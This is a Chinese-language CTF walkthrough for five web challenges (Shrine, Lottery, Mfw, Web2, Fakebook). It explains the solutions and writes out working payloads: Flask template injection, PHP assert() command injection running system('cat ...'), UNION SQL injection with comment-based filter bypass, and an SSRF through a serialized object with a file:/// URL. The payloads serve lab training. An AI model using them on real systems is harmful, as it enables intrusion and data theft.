攻防世界WEB高手进阶区第四周

Shrine

[题目描述]暂无
[题目场景]
攻防世界WEB高手进阶区第四周

我们先查看源代码
攻防世界WEB高手进阶区第四周

经过整理可得
攻防世界WEB高手进阶区第四周

对代码进行审计
这段代码为flask框架
代码中定义了两个类,第一个访问/路径时阅读文件。
在第二个类中 传入一个值给参数s,将传入到参数s中的值中“(”和“)”替换为“ ”,blacklist是黑名单,blacklist = [‘config’, ‘self’]的意思是过滤了config、self关键字。
return ‘’.join([’{{% set {}=None%}}’.format© for c in blacklist]) + s的意思是这段代码把黑名单的东西遍历并设为空。
我们可以通过python的内置函数来读取config的一些信息,如url_for和get_flashed_messages
url_for的作用是给定指定的函数构造URL;访问静态文件。所以我们构造URL读取一些信息
攻防世界WEB高手进阶区第四周

我们可以看到里面有current_app,可能存在模板注入,我们继续查看里面的config
攻防世界WEB高手进阶区第四周

得到flag。

Lottery

[题目描述]暂无
[题目场景]
攻防世界WEB高手进阶区第四周

这道题是靠买**获得的金币来购买flag
还有一个附件 我们打开看看,我们可以看到在api.php中有与数字和金币有关的代码
攻防世界WEB高手进阶区第四周

$result .= random_num();这句话我们可以知道这七个数字是随机的
并且在首页我们可以了解到金币是通过相同数字的个数来决定的
$numbers[ $i] == $win_numbers[ $i]这是个弱类型,弱类型漏洞中bool类型的true是可以和任何数据弱类型相等的。
通过注册后会跳转到这个页面
攻防世界WEB高手进阶区第四周

我们对它进行抓包,通过改包来刷钱
攻防世界WEB高手进阶区第四周
攻防世界WEB高手进阶区第四周

刷到足够的钱然后购买flag
攻防世界WEB高手进阶区第四周

Mfw

[题目描述]暂无
[题目场景]
攻防世界WEB高手进阶区第四周

我们先依次查看导航栏,可以看到在导航栏中的about里面有信息
攻防世界WEB高手进阶区第四周

看到git 我们先用githack扫一下看能发现什么
攻防世界WEB高手进阶区第四周

我们可以看到有一个flag.php文件,打开后发现什么都没有
攻防世界WEB高手进阶区第四周

再看看别的文件,在index.php中
攻防世界WEB高手进阶区第四周

assert()检查一个断言是否为FALSE
strpos()函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回FALSE
file_exists()函数检查文件或目录是否存在

满足参数page的值的条件为

  1. $file = “templates/” . $page . “.php”
  2. assert(“strpos(’$file’, ‘…’) === false”)

payload: ?page=1’) or system(“cat templates/flag.php”);//
即$file = templates/1’) or system(“cat templates/flag.php”);// “.php”
因为只在strpos中传入了1,所以肯定返回flase,再用or让其执行system函数,再用“//”将后面的语句注释掉
查看网页源代码
攻防世界WEB高手进阶区第四周

Web2

[题目描述]解密
[题目场景]
攻防世界WEB高手进阶区第四周

先对代码进行审计
攻防世界WEB高手进阶区第四周

只要能够解密出来,就可以获得flag
写逆向代码
攻防世界WEB高手进阶区第四周

得到flag
攻防世界WEB高手进阶区第四周

Fakebook

[题目描述]暂无
[题目场景]
经过注册后会得到(不唯一)
攻防世界WEB高手进阶区第四周

我们可以发现username那一栏点击自己注册的名字就可以跳转到另一个页面
攻防世界WEB高手进阶区第四周

观察url我们可以猜测这应该可以进行注入,经过测试发现是数字型注入。
攻防世界WEB高手进阶区第四周

从报错中可以看出网站绝对路径/var/www/html
先用sqlmap扫了一下发现没有什么信息,接下来尝试手工注入。
我们先测试有几列

攻防世界WEB高手进阶区第四周
攻防世界WEB高手进阶区第四周

经过测试 我们可以看到有4列

暴库
攻防世界WEB高手进阶区第四周

可以看到有过滤,我们用union/**/select进行绕过。
攻防世界WEB高手进阶区第四周

所以应该在位置2进行操作
攻防世界WEB高手进阶区第四周

所以数据库名为 fakebook

爆表
payload :?no=-1 union/**/select 1,(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=“fakebook”),3,4#
攻防世界WEB高手进阶区第四周

所以表名为users

爆字段
payload : ?no=-1 union/**/select 1,(SELECT GROUP_CONCAT(column_name) FROM
information_schema.columns WHERE TABLE_NAME = “users”),3,4#
攻防世界WEB高手进阶区第四周

可以看到no username password 都是常规字段 我们获取一下data里面的内容
payload : ?no=-1 union/**/select 1,(SELECT GROUP_CONCAT(data) FROM fakebook.users),3,4#
攻防世界WEB高手进阶区第四周

将返回结果进行查询
攻防世界WEB高手进阶区第四周

返回成功
经过扫描目录我们可以知道存在robots.txt和flag.php
攻防世界WEB高手进阶区第四周

我们可以获得user.php文件
攻防世界WEB高手进阶区第四周

通过代码我们可以知道这边get传入的就是用户信息中的blog地址,如果不是404就会将内容读出来。
所以我们构造url
http://220.249.52.133:31886/view.phpno=-1%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:9;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
攻防世界WEB高手进阶区第四周

查看源代码,点击iframe标签
攻防世界WEB高手进阶区第四周

获得flag
攻防世界WEB高手进阶区第四周